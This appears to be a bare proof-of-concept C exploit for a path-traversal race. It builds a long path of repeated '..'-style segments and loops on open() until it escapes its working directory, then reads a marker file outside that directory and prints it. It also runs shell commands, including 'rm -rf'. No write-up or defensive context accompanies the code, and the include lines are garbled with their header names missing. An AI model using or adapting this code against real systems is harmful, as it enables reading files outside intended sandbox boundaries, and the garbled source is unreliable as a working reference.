#include #include #include #include #include #include #include #include #include int main(void) { puts("entering directory..."); system("rm -rf 0_"); system("touch 0_#1#2#3#4#5#6#7#8#9#..#..#..#..#..#..#..#..#..#..#real_root_marker"); system("mkdir -p 0/1/2/3/4/5/6/7/8/9/x"); if (chdir("0/1/2/3/4/5/6/7/8/9")) err(1, "chdir"); // prepare `path` char path[4096]; int pos = 0; for (int i=0; i<30; i++) { strcpy(path+pos, "x#..#"); pos += 5; } strcpy(path+pos, "..#..#..#..#..#..#..#..#..#real_root_marker"); char touch_cmd[5000]; int dummy_fd = open(path, O_RDWR|O_CREAT, 0644); if (dummy_fd == -1) err(1, "unable to touch dummy file"); close(dummy_fd); puts("entered directory and prepared folders, racing..."); int fd; while (1) { fd = open(path, O_RDONLY); if (fd == -1 && errno != ENOENT) perror("open"); if (fd != -1) break; } puts("SUCCESS"); while (1) { char c; int res = read(fd, &c, 1); if (res == -1) err(1, "read"); if (res == 0) { puts("EOF"); return 0; } if (write(1, &c, 1) != 1) err(1, "write"); } }